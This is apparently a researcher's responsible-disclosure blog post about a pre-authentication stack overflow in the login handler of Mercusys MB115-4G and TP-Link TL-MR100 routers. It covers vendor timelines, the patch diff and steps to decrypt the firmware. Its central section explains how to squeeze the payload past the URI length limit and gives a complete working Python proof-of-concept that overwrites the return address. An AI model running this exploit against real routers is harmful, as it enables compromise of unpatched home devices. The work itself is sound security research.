Table of Contents
Note on prior work and attribution
The stack overflow described in this post was first discovered and reported by Héctor Villar Palacios for the Mercusys MB115-4G on the 22nd of February 2026, registered as CVE-2026-12495. His writeup can be found here. Credit for the discovery is his.
I independently rediscovered the vulnerability in July 2026, while the disclosure was still private, and it was unclear that the vulnerability had been previously reported during exchanges with Mercusys.
This post adds how I discovered that the TP-Link TL-MR100 was also affected because of a shared codebase. It also shows that the vulnerability is more severe than reported and why this was missed (RCE rather than DoS). Finally, I also show how to decrypt their newer firmware. The TP-Link case was registered separately as CVE-2026-75118.
Introduction
In the first part of this series, we started taking a look at the Mercusys MB115-4G router. We first downloaded and unpacked one of the latest firmware versions available online, explored the overall structure of the Linux filesystem and identified a few interesting things such as how to decrypt the main XML config files.
Afterwards, we purchased the real product, opened it up and were able to get a direct shell by using the unmarked UART pins and using the default TP-Link credentials used in every of their routers.
Mapping the Attack Surface
With root access and a decrypted filesystem, I could start looking for actual bugs. A router exposes a lot of services, so the first job is working out which ones are reachable and which are worth the time. After going through the binaries, startup scripts and the router’s advertised features, these are the ones that stood out:
Likely WAN exposed
- cwmp – Also known as TR-069. Ended up being disabled by default
- cloud_client / cloud_https / cloud-brd – Remote configuration with the mobile app, not investigated further
- openvpn, pptpd, xl2tpd, pppd
Likely LAN exposed
- httpd – Local web server
- upnpd – UPnP handling
- dropbear – SSH
- telnet – Enabled by default
- dnsProxy
- ntpc – Network Time Protocol
- dhcpd/dhcpc – DHCP handling
- tftp – File transfer protocol
I only explored some of these. I settled on httpd: it is written entirely in custom vendor code, it is reachable before authentication, and it parses complex structured input, which is a combination that has produced a long history of vulnerabilities in this class of device. It also calls into libcmm.so, a large vendor library shared with most of the other binaries on the system, so anything found there potentially reaches further than the web server itself.
Finding what’s reachable before login
A web interface is only interesting pre-authentication. Anything behind a session check needs credentials, and if I have credentials on a home router I’ve already lost interest. So the first question for httpd is which routes are reachable without one.
The server registers its routes at startup with http_alias_addEntryByArg. The last argument is the authorisation mode:

g_http_author_default requires a valid session. g_http_author_all does not. Finding the registration function and reading it top to bottom turns a binary with hundreds of functions into a list of twelve entry points:
| Endpoint | Handler |
|---|---|
/cgi/setPwd | http_rpm_auth_setPwd |
/cgi/wanBlock | http_rpm_getActionFromWanBlockWeb |
/cgi/login | http_rpm_login |
/cgi/getParm | http_rpm_getParm |
/cgi/language | http_rpm_language |
/cgi/getBusy | http_rpm_getBusy |
/cgi/getBindStatus | http_rpm_getBindStatus |
/cgi/checkCloudConn | http_rpm_checkCloudConn |
/cgi/getEwebUrl | http_rpm_getEwebUrl |
/cgi/openVpnClientCfgup | httpd_rpm_openVpnClientCfgup |
/cgi/openVpnClientCfgSave | http_rpm_openVpnClientcfgSave |
/cgi/openVpnClientEdit | http_rpm_openVpnClientEdit |
Three things stood out immediately. /cgi/setPwd handles credentials before you have any. The three openVpnClient* handlers accept uploaded configuration files, pre-authentication, which is of high interest to us. /cgi/login and /cgi/getBindStatus both go through the vendor’s own crypto layer, which is custom code doing cryptography.
Speaking with the Server
None of those endpoints can be tested until you can produce a request they’ll accept, and that turned out to be a significant obstacle. Even extracting the requests produced when using the web interface in the browser took some time.
The web client does its own encryption in JavaScript before anything reaches the network. Capturing traffic using your browser or a proxy only gives you ciphertext and a signature, with no obvious way to work backwards. The relevant code is in tpEncrypt.js and encrypt.js, and it is readable, but reimplementing it from the source alone means guessing at exactly which fields get included and in what order.
Rather than guess, I wrote a small browser extension that hooks the encryption function and logs its arguments before they’re encrypted. That gives ground truth: for any action performed in the real web interface, I get the exact plaintext the client intended to send, alongside the ciphertext that went out. Reimplementing the client then becomes a matter of matching known inputs to known outputs.
The scheme works like this. An unauthenticated POST /cgi/getParm returns the server’s RSA public key and a sequence counter:
{"ee":"010001","nn":"<128 hex chars>","userSetting":0,"seq":"<int>","ret":0}
That’s a 512-bit RSA key with exponent 0x10001. Requests then carry two parameters:
sign: an RSA-encrypted string of the formkey=<16>&iv=<16>&h=<hash>&s=<seq + len(data_b64)>, all hex encoded. This is how the AES key and IV reach the server.data: base64 of AES-128-CBC ciphertext, encrypted under the key and IV fromsign.
Two details matter later. The s= field is a sequence check, but getParm hands out the current sequence value before authentication, so it’s trivially satisfiable. And the pre-login transport puts both parameters in the query string, not in the request body. Only the post-login path uses /cgi_gdpr with parameters in the body instead. This choice of transport will explain later on why the bug looks unexploitable at first.
Worth noting in passing: RSA-512 has not been considered secure for a long time, and the client hashes credentials as MD5 of the username and password concatenated. While this is not the vulnerability that was found, it does not inspire much confidence in the rest of the crypto layer.
Two Dead Ends
Most of the time spent on targets like this produces nothing. Two of the leads I chased have been interesting in their own ways.
OpenVPN configuration upload
Three of the twelve pre-auth endpoints handle OpenVPN client configuration, and one accepts an uploaded config file. The parser reads the file, extracts the inline blocks (<ca>...</ca> and similar), base64-encodes the contents, and stores them in a cJSON object. The uploaded file can be up to 4999 bytes. The temporary stack buffer used to hold the base64 output is 6000 bytes.
Base64 expands data by 4/3. Therefore, 4999 bytes of input should become roughly 6665 bytes of output, against a 6000-byte destination. At first, this looked like a straightforward, pre-authentication stack overflow.
However, while the function itself seems vulnerable, every request reaching these handlers passes through http_cgi_gdpr_main first, which caps the decrypted request buffer at 4095 bytes. Even if it was possible to use every available byte as payload, 4095 x 4/3 is about 5460 bytes, still comfortably inside 6000. The overflow the local arithmetic suggests is prevented by the only path that leads to it.



Command Injection in the Vendor Library
libcmm.so is a 1.1 MB vendor library shared by most binaries on the system, and it calls out to the shell constantly: system(), util_execSystem(), util_execSystemWithSemicolon(), util_execSystemForLongCmd(). Any of those built from a format string with a %s fed by user input would be a command injection waiting to happen.
I wrote a Ghidra script to enumerate every cross-reference to those functions and flag the calls whose format string contains %s, then traced the arguments backwards looking for anything reachable from a request. Several looked promising (oal_pt_delPortTrigger among them) but every one I followed either took its input from an internal configuration value or ran behind authentication.

#TODO write a description for this script
#@author
#@category _NEW_
#@keybinding
#@menupath
#@toolbar
#@runtime Jython
from ghidra.app.decompiler import DecompileOptions
from ghidra.app.decompiler import DecompInterface
from ghidra.util.task import ConsoleTaskMonitor
TARGET_FUNC = "util_execSystem"
def getString(addr):
mem = currentProgram.getMemory()
core_name_str = ""
while True:
byte = mem.getByte(addr.add(len(core_name_str)))
if byte == 0:
return core_name_str
core_name_str += chr(byte)
# Get all callers
target_addr = 0
callers = []
funcs = getGlobalFunctions(TARGET_FUNC)
# For creating address from long
af = currentProgram.getAddressFactory()
for func in funcs:
if func.getName() == TARGET_FUNC:
print("\nFound {} @ 0x{}".format(TARGET_FUNC, func.getEntryPoint()))
target_addr = func.getEntryPoint()
references = getReferencesTo(target_addr)
references = references[0:len(references)-1]
for xref in references:
call_addr = xref.getFromAddress()
caller = getFunctionContaining(call_addr)
callers.append(caller)
break
# Deduplicate callers
callers = list(set(callers))
# Decompile all callers and find PCODE CALL operations leading to `target_add`
options = DecompileOptions()
monitor = ConsoleTaskMonitor()
ifc = DecompInterface()
ifc.setOptions(options)
ifc.openProgram(currentProgram)
for caller in callers:
if not caller:
print("[+] Got None caller, skipping this one")
continue
res = ifc.decompileFunction(caller, 60, monitor)
high_func = res.getHighFunction()
lsm = high_func.getLocalSymbolMap()
symbols = lsm.getSymbols()
if high_func:
opiter = high_func.getPcodeOps()
while opiter.hasNext():
op = opiter.next()
mnemonic = str(op.getMnemonic())
if mnemonic == "CALL":
inputs = op.getInputs()
addr = inputs[0].getAddress()
args = inputs[1:] # List of VarnodeAST types
if addr == target_addr:
# print("Call to {} at {} has {} arguments: {}".format(addr, op.getSeqnum().getTarget(), len(args), args))
ins = args[1].getDef()
if not ins:
print("[+] Got None ins, skipping it")
continue
op = ins.getOpcode()
if op != 1:
print("[+] Got op other than copy:", op)
continue
op_addr = ins.getInput(0).getOffset()
str_op_addr = hex(op_addr).replace("L", "")
# print("[+] Copy value:", str_op_addr, type(op_addr))
string_data = getString(af.getAddress(str_op_addr))
# print("[+] Corresponding string:", string_data)
if "%s" in string_data:
print("[+] Potentially vulnerable: \"" + string_data + "\" in function " + str(caller))
The script was still worth writing as a way of quickly enumerating and verifying this category of bug across the binary.
A size mismatch in the crypto layer
With the OpenVPN path ruled out, I went back to the two endpoints that reach the vendor’s crypto layer: /cgi/login and /cgi/getBindStatus. Both call a single function to unwrap the encrypted envelope, http_gdpr_decrypt, and that function is where the bug is.
Stripped of error handling, it does this:
int http_gdpr_decrypt(GDPREntry *gdpr, char *aes_payload,
char *aes_key_encrypted, void *out)
{
int ret;
size_t aes_payload_len;
size_t raw_aes_len;
char payload_copy_aes[2048];
char decrypted_buf[2048];
char raw_aes_bytes[2048];
char sign_plaintext[2056];
memset(sign_plaintext, 0, 0x800);
memset(payload_copy_aes, 0, 0x800);
/* Decrypt the RSA encrypted contents of sign to get client AES data */
ret = http_rsa_decrypt(aes_key_encrypted, sign_plaintext, 0x81, 0);
gdpr->server_seq = http_seq_getSeq();
/* Extracts the user supplied data from the query string */
ret = gdpr_aes_decrypt(gdpr, sign_plaintext);
aes_payload_len = strlen(aes_payload);
strncpy(payload_copy_aes, aes_payload, aes_payload_len);
aes_payload_len = strlen(payload_copy_aes);
http_tool_stripLine(payload_copy_aes, aes_payload_len);
aes_payload_len = strlen(payload_copy_aes);
raw_aes_len = b64_decode(raw_aes_bytes, 0x800, payload_copy_aes, aes_payload_len);
/* Sequence number check */
ret = gdpr_seq_check(gdpr, aes_payload_len);
if (ret != 0) {
gdpr->valid_seq_check = 0;
return 0x191;
}
gdpr->valid_seq_check = 1;
/* Here we do the actual AES decryption */
ret = aes_tmp_decrypt_buf_nopadding_new
(raw_aes_bytes, decrypted_buf, &raw_aes_len,
gdpr->aes_key2, gdpr->aes_iv2);
/* THE OVERFLOW HAPPENS HERE! */
memcpy(out, decrypted_buf, raw_aes_len);
return 0;
}
And here is how it gets called by the login CGI handler:
int http_rpm_login(HTTPReq *req)
{
/* ... */
GDPREntry input;
/* Our vulnerable buffer! The length is NOT passed on to http_gdpr_decrypt */
char out[512];
/* ... Action / LoginStatus parsing ... */
ciphertext = (char *)http_parser_getEnv("data");
sign = (char *)http_parser_getEnv("sign");
if (ciphertext == NULL || sign == NULL || *ciphertext == '\0' || *sign == '\0') {
/* "sign or data error." */
}
else {
/* 512 bytes */
memset(out, 0, 0x200);
memcpy(&input, req->gdpr_entry, 0x118);
input.login_type = 0;
/* No length passed, big enough AES payload will cause an overflow on our local stack buffer */
iVar8 = http_gdpr_decrypt(&input, sign, ciphertext, out);
if (iVar8 != 0) {
/* "decrypt password failed." */
}
/* out is then parsed with strtok() ... */
}
}
Every buffer inside the function is a local 2048-byte buffer, and the code is written expecting the caller’s destination to be the same. However, out is a caller-supplied pointer, and http_rpm_login supplies a 512-byte stack buffer.
The final memcpy copies raw_aes_len bytes into it with nothing checking that the length fits. That length comes from the base64 payload the client sent, bounded only by the 2048-byte internal buffers.
What makes this properly exploitable rather than just a crash is that the attacker controls the copied content as well as its length. The AES key and IV arrive inside sign, so whatever plaintext I encrypt is what lands on the stack, which is particularly convenient and gives full control, and even avoids issues with null bytes, restricted charsets etc.
http_rpm_login allocates 0x540 bytes of stack. The output buffer sits at sp+0x310 and the saved return address at sp+0x53c:
sp+0x310 : output buffer (512 bytes) <- copy starts here
sp+0x518 : saved s0..s8 registers
sp+0x53c : saved return address <- 0x53c - 0x310 = 556 bytes
So 556 bytes of controlled data followed by four bytes of address overwrites the return address.
The binary offers no resistance at all:

No stack canary, no PIE, no ASLR, and an executable stack. There is nothing to defeat and nothing to leak. As with most home routers, it is extremely weak as far as mitigation goes.
http_gdpr_decrypt has exactly three callers:
| Handler | Endpoint | Distance to saved RA |
|---|---|---|
http_rpm_login | POST /cgi/login | 556 |
http_rpm_getBindStatus | POST /cgi/getBindStatus | 556 |
http_rpm_auth_setPwd | POST /cgi/setPwd | 8156 |
The first two are equivalent. The third has a much larger frame, and 8156 bytes is beyond what the 2048-byte internal buffers can deliver, so it can corrupt locals but never reaches the return address.
Why it looks unexploitable
While the binary has no mitigations and the offset is known for the overwrite, producing a proof of concept required some more effort.
The pre-login transport carries data and sign in the query string. However, httpd reads the whole request line into a 1024-byte buffer and answers 414 Request-URI Too Long if it finds no line terminator within it. The method and version share that buffer with the URI, which leaves about 1010 characters for the path and parameters.
So the URI limit is the payload limit. Budgeting a request built the way the real client builds it:
| Component | Size |
|---|---|
| Method and HTTP version | 14 chars |
| Path and fixed parameters | 45 chars |
sign (RSA-512, two blocks, hex) | 256 chars |
Remaining for data | 708 chars |
| Plaintext deliverable after base64 | 530 bytes |
Around 530 bytes, against the 556 needed to reach the return address. Close, but not enough, just 26 bytes short.
That gap is why this bug was originally reported as a denial of service rather than a remote code execution vulnerability. The unsafe memcpy is plainly there, it is pre-authentication, but the only route to it appears to be too narrow to carry a useful payload.
Tinkering with the data
The 256 characters spent on sign are the largest single item in that budget, and they are worth examining, because that size is not fixed by the protocol. It is a consequence of what the client chooses to put in the signed string.
sign is RSA-512, which encrypts 64 bytes per block and produces 128 hex characters per block. The plaintext being signed looks like:
key=<16 chars>&iv=<16 chars>&h=<hash>&s=<sequence>
With a full 32-character MD5 in h=, that string runs past 64 bytes. Two blocks. 256 hex characters.
But h is not checked during decryption. On a fresh session, gdpr_aes_decrypt returns success unconditionally, and the hash is never validated on the path that leads to the overflow. Nothing requires it to be a real hash, or 32 characters, or anything in particular.
Setting h=a brings the signed string under 64 bytes. One block. 128 hex characters instead of 256, and 128 characters returned to the payload budget:
| Component | Before | After |
|---|---|---|
| Method and HTTP version | 14 | 14 |
| Path and fixed parameters | 45 | 45 |
sign | 256 | 128 |
data | 708 | 836 |
| Plaintext deliverable | 530 bytes | 626 bytes |
| Total request line | 1023 | 1023 |
626 bytes of controlled plaintext, against the 560 needed to reach and overwrite the return address. The exploit only uses 560 of it, leaving 66 bytes of headroom for a payload in the buffer below, which is far more than needed.
The bug was never a denial of service. It only looked like one because the standard client sends a longer signature than the server requires.
Getting the crash to trigger
Three more details had to be right before any of this worked, and each cost me time.
httpd only serves the JSON CGI API when the Referer header matches the device host. Without it the server returns the HTML login page with a 200 status, which looks exactly like an endpoint that doesn’t exist. Every request needs Referer: http://<host>/.
The parameters must be in the query string. getEnv reads them from there on this path, and sending them in the body returns a generic “sign or data error” that gives no indication of what’s wrong.
The address also has to be packed little-endian. The MT7628 is MIPS, but little-endian MIPS, which is easy to get backwards, as there are both big-endian and little-endian MIPS processors. Once this was fixed, I obtained the following script:
#!/usr/bin/env python3
"""
MB115-4G / TL-MR100 pre-auth stack buffer overflow in http_gdpr_decrypt.
Overwrites the saved return address of http_rpm_login (512-byte `out` buffer,
saved RA at +556 = 0x53c-0x310). Confirmed under firmadyne emulation: the
kernel fault dump shows epc = the value passed to --ra.
Usage: python3 poc_mb115_min.py <host> [--ra 0x41424344]
"""
import json, base64, struct, argparse
import urllib.request, urllib.error, urllib.parse
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
except ImportError:
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad
# 556
OFFSET_TO_RA = 0x53c - 0x310
KEY, IV = b'A' * 16, b'B' * 16
def post(host, path):
r = urllib.request.Request(f'http://{host}{path}', method='POST')
r.add_header('Referer', f'http://{host}/') # httpd gates the API on this
try:
resp = urllib.request.urlopen(r, timeout=8)
return resp.status, resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def rsa_nopad(pt, n, e): # textbook RSA (no padding), one 64-byte block
nb = (n.bit_length() + 7) // 8
c = pow(int.from_bytes(pt.ljust(nb, b'\0'), 'big'), e, n)
return format(c, f'0{nb * 2}x')
def main():
ap = argparse.ArgumentParser()
ap.add_argument('host')
ap.add_argument('--ra', default='0xdeadbeef')
a = ap.parse_args()
ra = int(a.ra, 16)
# 1) fetch RSA public key (nn, ee) and sequence number
_, b = post(a.host, '/cgi/getParm')
p = json.loads(b)
n, e, seq = int(p['nn'], 16), int(p['ee'], 16), int(p['seq'])
# 2) oversized decrypted payload: 556 bytes filler + little-endian return address
plaintext = b'A' * OFFSET_TO_RA + struct.pack('<I', ra)
data = base64.b64encode(
AES.new(KEY, AES.MODE_CBC, IV).encrypt(pad(plaintext, 16))).decode()
sign = rsa_nopad(
f'key={KEY.decode()}&iv={IV.decode()}&h=a&s={seq + len(data)}'.encode(), n, e)
# 3) fire — all params in the query string (getEnv reads the query string)
qs = urllib.parse.urlencode(
{'Action': '1', 'LoginStatus': '0', 'sign': sign, 'data': data})
st, _ = post(a.host, f'/cgi/login?{qs}')
if st == 200:
print('HTTP 200; make sure that router password setup was done')
else:
print(f'sent RA={ra:#010x} -> HTTP {st}; check kernel dump for epc={ra:#010x}')
if __name__ == '__main__':
main()
An important thing to note is that this experimentation was done while I was away from home, without access to the real hardware. Also, I had set up a semi-automated agentic harness with a Ghidra MCP server and full-system emulation using Firmadyne for validation, which I might discuss in another post.
Using this setup, the reliable signal for the crash is the kernel’s own fault report on the serial console. Booting with print-fatal-signals=1 user_debug=31 prints the faulting epc, ra and BadVA on every SIGSEGV:

Turning that into a shell is the remaining step, and on a target with an executable stack and no ASLR it is not a difficult one: stage MIPS shellcode at the front of the payload and point the return address at the buffer, whose location is stable between runs. I have not done it yet but might produce an article about it later on.
Cross-vendor exploitation
As we have discussed in the first post of this series, Mercusys is a budget brand owned or at least affiliated with TP-Link. Because of this, their codebases are heavily shared and Mercusys directly uses a lot of TP-Link vendor code (debug strings name them rather than Mercusys in many binaries). We also noticed that they used the same DES-encrypted config format and the same default credentials for the root user.
Because of this, I wanted to verify if any of their products would be affected by the same vulnerability. After doing some research, I stumbled upon the TP-Link TL-MR100, which has suspiciously similar specifications to the Mercusys MB115-4G.

I pulled its firmware, extracted httpd, and looked for the same function. I confirmed that the exact same code was used there. http_gdpr_decrypt has the same structure, the same 2048-byte internal buffers, and the same unchecked memcpy into a caller-supplied pointer. http_rpm_login allocates the same frame and passes the same 512-byte destination, giving the same 556-byte distance to the saved return address. The binary is built with the same absence of mitigations.
Since I already had a full-system emulation setup with Firmadyne, I loaded the TL-MR100 firmware instead, and tried to run the proof of concept code. To my surprise, both the emulation and the exploit worked perfectly without requiring any modifications whatsoever, and confirming that the TL-MR100 was also vulnerable.
Verifying the fix and decrypting the later firmwares
Mercusys sent a signed beta build for verification, which I manually checked. The changes were straightforward: http_gdpr_decrypt gained an extra parameter for the size of the caller’s output buffer, and the final copy is now guarded.
Here is the decompilation of the original vulnerable function (1.10.0):
undefined4 http_gdpr_decrypt(int param_1, char *param_2,
undefined4 param_3, void *param_4)
{
/* ... */
/* RSA-based decryption of the sign parameter */
iVar1 = http_rsa_decrypt(param_3, auStack_81c, 0x81, 0);
/* ... base64 decode, sequence check ... */
iVar1 = aes_tmp_decrypt_buf_nopadding_new
(auStack_101c, auStack_181c, &local_2020,
param_1 + 0x88, param_1 + 0xa9);
if (iVar1 != 0) { /* error */ }
/* copy straight out, no idea how big param_4 is */
memcpy(param_4, auStack_181c, local_2020);
return 0;
}
And here is the decompilation of the fixed function (1.11.0):
undefined4 http_gdpr_decrypt(int param_1, char *param_2,
undefined4 param_3, void *param_4,
uint param_5) /* <-- output buffer size */
{
/* ... */
/* RSA replaced with elliptic-curve decryption */
iVar1 = http_ecc_decrypt(param_3, acStack_818, 1);
/* ... base64 decode, sequence check ... */
iVar1 = aes_tmp_decrypt_buf_nopadding_new
(auStack_1018, auStack_1818, &local_2060,
param_1 + 0x88, param_1 + 0xa9);
if (iVar1 == 0) {
/* new: authenticate the decrypted message before using it */
iVar1 = http_check_HMAC(param_1 + 0x88, auStack_205c, auStack_1818);
if (iVar1 != 0) {
/* "cgi_gdpr check HMAC fail" */
goto LAB_0041f6ac;
}
/* new: bounds check against the caller's buffer size */
if (local_2060 <= param_5) {
memcpy(param_4, auStack_1818, local_2060);
return 0;
}
fprintf(_stderr,
"[%s %d]#Msg: Decrypted data length %d exceeds output buffer size %zu\n",
"http_gdpr_decrypt", 0x55c, local_2060, param_5);
}
/* ... */
}
Finally, the callers correctly pass their buffer length and check for any errors:
undefined4 http_rpm_login(int *param_1)
{
/* ... */
undefined auStack_34c[4];
undefined4 local_348;
char acStack_234[516]; /* destination buffer */
/* ... Action / LoginStatus parsing ... */
pcVar9 = (char *)http_parser_getEnv("data");
pcVar7 = (char *)http_parser_getEnv("sign");
if (pcVar9 == NULL || pcVar7 == NULL || *pcVar9 == '\0' || *pcVar7 == '\0') {
pcVar9 = "sign or data error.";
goto LAB_004175a8;
}
else {
memset(acStack_234, 0, 0x200);
memcpy(auStack_34c, (void *)param_1[0x20], 0x118);
local_348 = 0;
/* the caller now tells the callee how big its buffer is */
iVar2 = http_gdpr_decrypt(auStack_34c, pcVar7, pcVar9, acStack_234, 0x200);
if (iVar2 != 0) {
pcVar9 = "decrypt password failed.";
goto LAB_004175a8;
}
/* acStack_234 is only parsed once the decrypt reported success */
pcVar9 = strtok(acStack_234, "\n");
/* ... */
}
}
Each caller passes the correct size for its own local buffer, and each checks the return value. The fix is the right one.
The harder question was which public releases were affected, and answering it meant getting into images I couldn’t open. As mentioned in Part 1, the 1.10 firmware defeated binwalk entirely, with the entropy sitting at 8.0 and no recognisable structure, which is very likely to be an encrypted blob.
Since I had a limited amount of time to work on this, Claude Code was left running in my reverse engineering VM to try and decrypt this firmware.
The verification routine in libcmm.so, rsl_sys_verifyFirmware, gives up the format. The container is TP-Link’s up_boot, here with header tag 0x04000004:
0x000-0x1FF : plaintext header (tag, MD5 hashes, partition table)
0x200 : TLV blocks [type:u32][size:u32][data...]
type 1 = signature block (256-byte signature at 0x208)
type 0 = terminator
0x330 : AES-128-CBC encrypted payload to EOF
The key derivation is a scheme previously documented by Watchful_IP on TP-Link devices, and it is a genuinely odd one: the AES key and IV are carried inside the salt of the RSA-PSS signature. Verifying the signature is what produces the decryption key. Here are the decryption steps (according to Watchful_IP and my own notes):
- Get the RSA public key. It is a 368-character base64 blob embedded in
libcmm.so, in Microsoft’s public key blob format: an 8-byte header, thenRSA1, the bit length and exponent, then the 2048-bit modulus stored little-endian. - Pull the signature out of the container. It sits in the TLV block of type 1 at
0x208, and it is stored byte-reversed. - Recover the salt.
EM = rev(sig)^e mod n, then EMSA-PSS unmasking with SHA-256 to getDB. The salt is whatever follows the0x01separator. - Take the key material from the salt.
KEY = salt[0:16],IV = salt[16:32], then AES-128-CBC decrypt everything from0x330to the end of the file.
The image then opens up normally: U-Boot, an LZMA kernel, and an xz squashfs root filesystem.

With the decryptor working, I could finally diff the public releases. Firmware 1.10 was released publicly with the changelog note “Enhanced device security.” but does not fix this specific vulnerability. http_gdpr_decrypt is byte-identical to the vulnerable version, same size, same unchecked memcpy. http_rpm_login has the same prologue and therefore the same 556-byte offset. The exploit works unchanged.
What the release actually changed was elsewhere: a manufacture-mode check added to http_parser_main, some new response headers, and a set of small configuration edits in libcmm.so tightening the defaults for Telnet, SSH and firewall ACLs. The real fix reached the public in 1.11.0, released on 3 August 2026.
Timeline
- 22/02/2026 – Original report of the vulnerability to Mercusys by Héctor Villar Palacios (CVE-2026-12495)
- 30/06/2026 – Vulnerability independently rediscovered
- 06/07/2026 – Report sent to TP-Link
- 07/07/2026 – TP-Link acknowledges the report and redirects me to Mercusys for their respective product (sent the same day)
- 08/07/2026 – Mercusys acknowledges and sends the patched firmware
- 03/08/2026 – Mercusys publishes the patched firmware as “MB115-4G(EU)_V1_1.11.0 Build 260609”
- 14/08/2026 – TP-Link closes the report as a duplicate of an earlier internal report, stating the issue is no longer present in the latest firmware. The model named in the response (“TL-WR100 v3.20”) does not exist, and TL-MR100 still only had the original vulnerable firmware available publicly.
- 14/08/2026 – I reply noting that no fixed firmware existed for TL-MR100 and that CVE-2026-12495 covers only the Mercusys product. They publish the patched firmware shortly after as “TL-MR100(EU)_V3.20_1.3.0 Build 260609”
- 28/08/2026 – After some exchanges with them, TP-Link registers CVE-2026-75118 and publishes a security advisory
What’s Next
Controlling epc is not the same as running code. On a target with an executable stack, no ASLR and a predictable payload address the remaining work is well-understood, and staging MIPS shellcode to get a shell is what I’d cover in a Part 3 if I get to it.
A good amount of the later triage was done using a semi-automated agentic setup. A Claude Code instance with access to the knowledge base containing all my findings as well as a Ghidra MCP & the Firmadyne installation was set up and told to investigate all the leads I had selected.
I’ll write that up separately, including the parts that wasted my time, and I’m working on pushing it further towards something that runs unattended. There are also several leads still open in these routers that I haven’t finished chasing.
Everything described here is fixed in current firmware for both devices: MB115-4G 1.11.0 and TL-MR100 1.3.0. If you happen to own either, update it.